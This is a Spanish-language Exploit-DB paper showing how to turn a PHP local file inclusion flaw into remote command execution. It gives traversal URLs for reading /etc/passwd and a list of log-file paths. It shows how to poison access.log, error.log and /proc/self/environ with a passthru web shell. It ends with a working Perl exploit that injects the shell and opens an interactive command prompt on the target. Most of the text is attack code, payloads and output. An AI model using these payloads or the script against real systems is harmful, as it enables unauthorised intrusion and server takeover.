[Spanish] Remote Command Execution through Local File Inclusion

EDB-ID:

19061

CVE:

N/A

Author:

JosS

Type:

papers

Platform:

Multiple

Published:

2012-06-11

 #+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#
 + Remote Command Execution 'through' Local File Inclusion +
 #+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#+#

 Author:  JosS
 twitter: @JossGongora
 
 since 2003
 
 ~~ spanish paper
 
 Este documento trata sobre el metodo practico de como ejecutar comandos
 remotos en el servidor vulnerable a LFI inyectando codigo PHP al archivo 
 log del servidor web.
  
   [shell]:~$ cat /tmp/.h0/RCE_LFI

 
 PoC! codigo vulnerable:

 [code]-----------------------------------------------------
 <?php
 $file =$_GET['page'];				
 include($file);				
 ?>
 [End code]-------------------------------------------------

 PoC! leer archivos del servidor:
 [URL]     http://www.hack0wn.com/vuln.php?page=[file]%00
 [URL,ex]  http://www.hack0wn.com/vuln.php?page=../../../../../../etc/passwd

 Hay muchas variantes de LFI dependiendo de la programacion, talvez
 las mas complicadas sean las vulneradas por las COOKIES, pero que
 tampoco tienen ninguna dificultad. Para mas informacion visiten
 mi perfil de milw0rm o exploit-db. 

 ID_AUTHOR milw0rm: 1248
 http://www.exploit-db.com/search/?action=search&filter_author=joss

 Cookie p0c Exploit eXample:
 javascript:document.cookie = "h0=../../../../etc/passwd%00; path=/";

 %00 = NULL byte;

 En los servidores webs hay archivos encargados de guardar las
 peticiones HTTP realizadas a las webs alojadas en el servidor, 
 tambien conocidos como archivos de logs.


  ~~~~ lista por defecto de sus posibles localizaciones: ~~~~

      [access && error].log

        ../../../../../../../apache/logs/error.log
	../../../../../../../apache/logs/access.log
	../../../../../../../apache/logs/error.log
	../../../../../../../apache/logs/access.log
	../../../../../../../apache/logs/error.log
	../../../../../../../apache/logs/access.log
	../../../../../../../etc/httpd/logs/acces_log
	../../../../../../../etc/httpd/logs/acces.log
	../../../../../../../etc/httpd/logs/error_log
	../../../../../../../etc/httpd/logs/error.log
	../../../../../../../var/www/logs/access_log
	../../../../../../../var/www/logs/access.log
	../../../../../../../usr/local/apache/logs/access_log
	../../../../../../../usr/local/apache/logs/access.log
	../../../../../../../var/log/apache/access_log
	../../../../../../../var/log/apache2/access_log
	../../../../../../../var/log/apache/access.log
	../../../../../../../var/log/apache2/access.log
	../../../../../../../var/log/access_log
	../../../../../../../var/log/access.log
	../../../../../../../var/www/logs/error_log
	../../../../../../../var/www/logs/error.log
	../../../../../../../usr/local/apache/logs/error_log
	../../../../../../../usr/local/apache/logs/error.log
	../../../../../../../var/log/apache/error_log
	../../../../../../../var/log/apache2/error_log
	../../../../../../../var/log/apache/error.log
	../../../../../../../var/log/apache2/error.log
	../../../../../../../var/log/error_log
	../../../../../../../var/log/error.log

 
 -----> ACCESS.LOG

 Pues bien, nuestra mision es encontrar el path del archivo encargado
 de guardar los logs de las peticiones HTTP e insertar nuestro codigo 
 malicioso (PHP) en este archivo.

 Para encontrar el path+archivo debemos comprobar uno a uno los valores
 de 'localizacion por defecto' (mostrados arriba) hasta dar con una 
 respuesta coherente del sistema que nos afirme que hemos dado con el 
 correcto.
 
 Nuestro codigo malicioso nos permitira introducir comandos mediante
 GET que el servidor procesara y devolvera la respuesta mediante una 
 impresion web.

   <? passthru($_GET[cmd]) ?>

 
 Sabemos que 'access.log' guarda las peticiones HTTP y tambien tenemos
 el codigo que nos permitira insertar comandos en el servidor, por lo 
 tanto debemos  hacer una consulta con nuestro codigo para que se guarde 
 en 'access.log'.

 Muchos estareis pensando hacer esto:

    http://www.hack0wn.com/1/<? passthru($_GET[cmd]) ?>

 Pero esto no funcionara porque el navegador codifica automaticamente
 los caracteres especiales (URL enconde).

 [Logfiles - access.log]------------------------------------------
 ....
 127.0.0.1 - - [28/Dec/2008:23:02:06 +0100]
 "GET /1/%3C?%20passthru($_GET[cmd])%20?%3E HTTP/1.1" 404 298
 ....
 [End log]--------------------------------------------------------


 Por lo que debemos mandar nuestra puerta de entrada (codigo) mediante 
 telnet.

 joss@h4x0rz:~$ telnet localhost 80
  Trying 127.0.0.1...
  Connected to localhost.
  Escape character is '^]'.
  GET /1/<? passthru($_GET[cmd]) ?> HTTP/1.1

 [Logfiles - access.log]------------------------------------------
 ....
 127.0.0.1 - - [28/Dec/2008:23:35:16 +0100] 
 "GET /1/<? passthru($_GET[cmd]) ?> HTTP/1.1" 404 325 "-" "-"
 ....
 [End log]--------------------------------------------------------

 
 Debo recalcar que '/1/' es una carpeta existente dentro del directorio
 raiz de hack0wn.com ... es decir para que el ataque mediante 'access.log'
 se realice con exito la peticion HTTP debe inyectarse a un directorio
 existente. Despues veremos como con 'error.log' es todo lo contrario.

 Ya tenemos nuestro backdoor (por llamarlo de algun modo) instalado.
 Y ya solo nos queda picar el comando por la variable GET 'cmd':

 [URL]     /vuln.php?page=[file_logs]&cmd=[comando]
 [URL,ex]  /vuln.php?page=../../../../../var/log/apache2/access.log&cmd=id

  Y  ::. attack successfull .::

  ;)
 
 -----> ERROR.LOG

 Lo hemos hecho con 'access.log', pero si nos fijamos en la lista por
 defecto de las localizaciones existe un archivo 'error.log' que nos
 permite hacer lo mismo, a si que lo estudiaremos.

 El archivo 'error.log' se escribe cuando el archivo de la peticion no
 existe.

 [URL] http://www.hack0wn.com/noexiste.php

 [Logfiles - error.log]------------------------------------------
 ....
 [Mon Dec 29 00:41:55 2008] [error] [client 127.0.0.1] script 
 '/home/joss/www/noexiste.php' not found or unable to stat
 ....
 [End log]--------------------------------------------------------

 Repetimos la tecnica de incluir el codigo malicioso mediante telnet, 
 pero esta vez tendremos que hacer la petion a un archivo que no exista 
 (GET vacio).

 joss@h4x0rz:~$ telnet localhost 80
  Trying 127.0.0.1...
  Connected to localhost.
  Escape character is '^]'.
  GET <? passthru($_GET[cmd]) ?>


 [Logfiles - error.log]------------------------------------------
 ....
 [Mon Dec 29 00:46:29 2008] [error] [client 127.0.0.1] 
 Invalid URI in request GET <? passthru($_GET[cmd]) ?>
 ....
 [End log]--------------------------------------------------------

 Y tiramos la inyeccion:
 
 [URL] /vuln.php?page=../../var/log/apache2/error.log&cmd=ls

 -----> ENVIRON

 Hay mas archivos que nos permiten realizar el ataque, como por
 ejemplo '/proc/self/environ'. No entraremos en detalles, pero si
 debeis saber que para inyectar el codigo malicioso en este archivo 
 lo debeis hacer por "USER-AGENT" ya sea con un scirpt o con algun 
 addon para firefox como el 'tamper data'.

 [code]----------------------------------------------------------------------------------
 PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
 SERVER_ADMIN=root@.com
 ...
 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) 
 Gecko/2008102920 Firefox/3.0.4 HTTP_KEEP_ALIVE=300
 ...
 [End code]------------------------------------------------------------------------------


 Inyectando <?passthru($_GET[cmd])?> __via USER-AGENT__


 [code]----------------------------------------------------------------------------------
 PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
 SERVER_ADMIN=root@.com
 ...
 <?passthru($_GET[cmd])?> HTTP_KEEP_ALIVE=300
 ...
 [End code]------------------------------------------------------------------------------

 [URL] /vuln.php?page=../../../../../proc/self/environ&cmd=ls -la


 ~~~~ EXPLOIT ~~~~

#!/usr/bin/perl
####################################################################
# RCE to LFI Exploit
#
# Author: JosS (@JossGongora)
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# thanks for the base code: CWH Underground
# but I changed many things and fix bugs.
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
# OUTPUT: (tested on localhost)
#
# Trying to Inject the Code...
# Successfully injected in ../../../../../../../var/log/apache2/access.log
#
# [shell]:~$ id
#  uid=33(www-data) gid=33(www-data) groups=33(www-data)
# [shell]:~$ uname -a
#  Linux h4x0rz 2.6.18-6-686 #1 SMP Sat Dec 27 09:31:05 UTC 2008 i686 GNU/Linux
# [shell]:~$ exit
# h4x0rz:/home/joss/Desktop#


    use LWP::UserAgent;
	use IO::Socket;
	use LWP::Simple;

	
	@apache=(
    "../../../../../../../apache/logs/error.log",
	"../../../../../../../apache/logs/access.log",
	"../../../../../../../apache/logs/error.log",
	"../../../../../../../apache/logs/access.log",
	"../../../../../../../apache/logs/error.log",
	"../../../../../../../apache/logs/access.log",
	"../../../../../../../etc/httpd/logs/acces_log",
	"../../../../../../../etc/httpd/logs/acces.log",
	"../../../../../../../etc/httpd/logs/error_log",
	"../../../../../../../etc/httpd/logs/error.log",
	"../../../../../../../var/www/logs/access_log",
	"../../../../../../../var/www/logs/access.log",
	"../../../../../../../usr/local/apache/logs/access_log",
	"../../../../../../../usr/local/apache/logs/access.log",
	"../../../../../../../var/log/apache/access_log",
	"../../../../../../../var/log/apache2/access_log",
	"../../../../../../../var/log/apache/access.log",
	"../../../../../../../var/log/apache2/access.log",
	"../../../../../../../var/log/access_log",
	"../../../../../../../var/log/access.log",
	"../../../../../../../var/www/logs/error_log",
	"../../../../../../../var/www/logs/error.log",
	"../../../../../../../usr/local/apache/logs/error_log",
	"../../../../../../../usr/local/apache/logs/error.log",
	"../../../../../../../var/log/apache/error_log",
	"../../../../../../../var/log/apache2/error_log",
	"../../../../../../../var/log/apache/error.log",
	"../../../../../../../var/log/apache2/error.log",
	"../../../../../../../var/log/error_log",
	"../../../../../../../var/log/error.log",
	"../../../../../var/log/access_log",
	"../../../../../var/log/access_log"
	);

	system(($^O eq 'MSWin32') ? 'cls' : 'clear');
	
	if (@ARGV < 2)
	{
	    print "Usage: ./xpl.pl <Host> <Path>\n";
	    print "Ex. ./xpl.pl www.hack0wn.com /h0/index.php?page=\n";
	}

	$host=$ARGV[0];
	$path=$ARGV[1];

	# if ( $host   =~   /^http:/ ) {$host =~ s/http:\/\///g;}
	
	print "\nTrying to Inject the Code...\n";
	$CODE="<? passthru(\$_GET[cmd]) ?>";
	$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";
	print $socket "GET /1/"."\#\#%\$\$%\#\#".$CODE."\#\#%\$\$%\#\#" . "HTTP/1.1"; # change if it is necesary '/1'
	print $socket "Host: ".$host."\r\n";
	print $socket "Connection: close\r\n\r\n";
	close($socket);
	
	 if ( $host   !~   /^http:/ ) {$host = "http://" . $host;}
	
	foreach $getlog(@apache)
                {
                  chomp($getlog);
		  $find= $host.$path.$getlog; # $find= $host.$path.$getlog."%00";
                  $xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
		  $req = HTTP::Request->new(GET => $find);
		  $res = $xpl->request($req);
		  $info = $res->content;
                  if($info =~ /passthru()/) # change if it is necesary
                  {print "Successfully injected in $getlog \n\n";$log=$getlog; last;}
                }
	
	print "[shell]:~\$ ";
	chomp( $cmd = <STDIN> );
	
	while($cmd !~ "exit") {   
			 $shell= $host.$path.$log."&cmd=$cmd"; # $shell= $host.$path.$log."%00&cmd=$cmd";
			 $xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
			 $req = HTTP::Request->new(GET => $shell);
			 $res = $xpl->request($req);
			 $info = $res->content; 
				 if ($info =~ /\#\#%\$\$%\#\#(.*?)\#\#%\$\$%\#\#/sg) 
				 {print $1;}
			 print "[shell]:~\$ ";
			 chomp( $cmd = <STDIN> ); 
	}

	
	__h0__